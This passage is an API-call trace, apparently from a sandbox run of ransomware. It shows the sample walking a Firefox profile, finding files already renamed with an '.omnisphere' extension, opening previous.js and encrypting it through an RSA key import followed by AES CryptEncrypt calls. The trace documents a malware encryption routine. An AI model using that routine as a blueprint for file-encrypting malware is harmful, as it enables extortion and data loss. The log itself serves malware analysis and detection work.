nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="parent.lock", cAlternateFileName="PARENT~1.LOC")) returned 1 [0162.200] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd67a0d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd67a0d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4005a7b6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x18524, dwReserved0=0x0, dwReserved1=0x0, cFileName="permissions.sqlite.omnisphere", cAlternateFileName="PERMIS~1.OMN")) returned 1 [0162.200] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4005a7b6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4005a7b6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4005a7b6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="permissions.sqlite.omnisphere.id", cAlternateFileName="PERMIS~1.ID")) returned 1 [0162.200] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x40c6e7d5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8524, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite-shm.omnisphere", cAlternateFileName="PLACES~2.OMN")) returned 1 [0162.200] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40c6e7d5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x40c6e7d5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x40c6e7d5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite-shm.omnisphere.id", cAlternateFileName="PLACES~2.ID")) returned 1 [0162.200] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4123e535, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x208b5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite-wal.omnisphere", cAlternateFileName="PLACES~3.OMN")) returned 1 [0162.200] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x411f1fae, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x411f1fae, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4121843f, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite-wal.omnisphere.id", cAlternateFileName="PLACES~3.ID")) returned 1 [0162.200] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd54ecc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdd54ecc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4084264b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x500524, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite.omnisphere", cAlternateFileName="PLACES~1.OMN")) returned 1 [0162.200] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4075d88b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4075d88b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4075d88b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite.omnisphere.id", cAlternateFileName="PLACES~1.ID")) returned 1 [0162.200] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40cce7aa, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40cce7aa, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x412b0bbe, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x6f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="pluginreg.dat.omnisphere", cAlternateFileName="PLUGIN~1.OMN")) returned 1 [0162.200] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x412b0bbe, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x412b0bbe, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x412b0bbe, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="pluginreg.dat.omnisphere.id", cAlternateFileName="PLUGIN~1.ID")) returned 1 [0162.200] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8285d1c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8285d1c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4136f857, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x24f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="prefs.js.omnisphere", cAlternateFileName="PREFSJ~1.OMN")) returned 1 [0162.200] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4136f857, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4136f857, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4136f857, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="prefs.js.omnisphere.id", cAlternateFileName="PREFSJ~1.ID")) returned 1 [0162.200] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1472dc0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8d8cb9a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="saved-telemetry-pings", cAlternateFileName="SAVED-~1")) returned 1 [0162.200] GetProcessHeap () returned 0x1600000 [0162.200] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xce) returned 0x1625bd8 [0162.200] PathCombineW (in: pszDest=0x1625bd8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="saved-telemetry-pings" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\saved-telemetry-pings") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\saved-telemetry-pings" [0162.200] GetProcessHeap () returned 0x1600000 [0162.200] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x172d7a8 [0162.201] PathCombineW (in: pszDest=0x172d7a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\saved-telemetry-pings", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\saved-telemetry-pings\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\saved-telemetry-pings\\*" [0162.201] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\saved-telemetry-pings\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1472dc0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8d8cb9a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0162.201] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1472dc0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8d8cb9a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="..", cAlternateFileName="")) returned 1 [0162.201] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1472dc0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8d8cb9a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="..", cAlternateFileName="")) returned 0 [0162.201] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0162.201] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\saved-telemetry-pings\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1472dc0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8d8cb9a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0162.201] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1472dc0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8d8cb9a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="..", cAlternateFileName="")) returned 1 [0162.201] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1472dc0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8d8cb9a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="..", cAlternateFileName="")) returned 0 [0162.201] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0162.201] GetProcessHeap () returned 0x1600000 [0162.201] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172d7a8 | out: hHeap=0x1600000) returned 1 [0162.202] GetProcessHeap () returned 0x1600000 [0162.202] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625bd8 | out: hHeap=0x1600000) returned 1 [0162.202] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4731d65, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4731d65, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41407fa3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3c0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="search.json.mozlz4.omnisphere", cAlternateFileName="SEARCH~1.OMN")) returned 1 [0162.202] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41407fa3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41407fa3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41407fa3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="search.json.mozlz4.omnisphere.id", cAlternateFileName="SEARCH~1.ID")) returned 1 [0162.202] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe5f9955, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe5f9955, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x414596ce, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4524, dwReserved0=0x0, dwReserved1=0x0, cFileName="secmod.db.omnisphere", cAlternateFileName="SECMOD~1.OMN")) returned 1 [0162.202] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x414596ce, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x414596ce, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x414596ce, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="secmod.db.omnisphere.id", cAlternateFileName="SECMOD~1.ID")) returned 1 [0162.202] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143f0f49, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x143f0f49, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecurityPreloadState.txt", cAlternateFileName="SECURI~1.TXT")) returned 1 [0162.202] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e0d6ab, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8154a58, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4147a7f4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x644, dwReserved0=0x0, dwReserved1=0x0, cFileName="sessionCheckpoints.json.omnisphere", cAlternateFileName="SESSIO~1.OMN")) returned 1 [0162.202] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4147a7f4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4147a7f4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4147a7f4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="sessionCheckpoints.json.omnisphere.id", cAlternateFileName="SESSIO~1.ID")) returned 1 [0162.202] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6368e07, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7794358d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb7ea601f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sessionstore-backups", cAlternateFileName="SESSIO~1")) returned 1 [0162.202] GetProcessHeap () returned 0x1600000 [0162.202] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xcc) returned 0x1625a28 [0162.202] PathCombineW (in: pszDest=0x1625a28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="sessionstore-backups" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups" [0162.202] GetProcessHeap () returned 0x1600000 [0162.202] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd0) returned 0x1625bd8 [0162.202] PathCombineW (in: pszDest=0x1625bd8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\*" [0162.202] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6368e07, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7794358d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb7ea601f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0162.204] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6368e07, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7794358d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb7ea601f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="..", cAlternateFileName="")) returned 1 [0162.204] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd3e77da, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd3e77da, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd3e77da, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1f37, dwReserved0=0x0, dwReserved1=0xbb, cFileName="previous.js", cAlternateFileName="")) returned 1 [0162.204] GetProcessHeap () returned 0x1600000 [0162.204] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe4) returned 0x17460b8 [0162.204] PathCombineW (in: pszDest=0x17460b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups", pszFile="previous.js" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js" [0162.204] StrStrW (lpFirst=".omnisphere", lpSrch=".js") returned 0x0 [0162.204] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0162.205] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=7991) returned 1 [0162.205] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x1a13, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0162.205] ReadFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0cdc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesRead=0x3e0cdc4*=0x524, lpOverlapped=0x0) returned 1 [0162.208] GetTickCount () returned 0x1168499 [0162.208] GetTickCount () returned 0x1168499 [0162.208] GetTickCount () returned 0x1168499 [0162.208] GetTickCount () returned 0x1168499 [0162.208] GetTickCount () returned 0x1168499 [0162.208] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] GetTickCount () returned 0x1168499 [0162.209] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1668bd0) returned 1 [0162.210] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639568) returned 1 [0162.210] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0162.210] CryptDestroyKey (hKey=0x1639568) returned 1 [0162.210] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0162.210] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f37, lpName=0x0) returned 0x388 [0162.210] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f37) returned 0x1480000 [0162.212] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x16688a0) returned 1 [0162.213] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639568) returned 1 [0162.213] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0162.213] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0162.213] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.213] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.213] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.213] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.213] 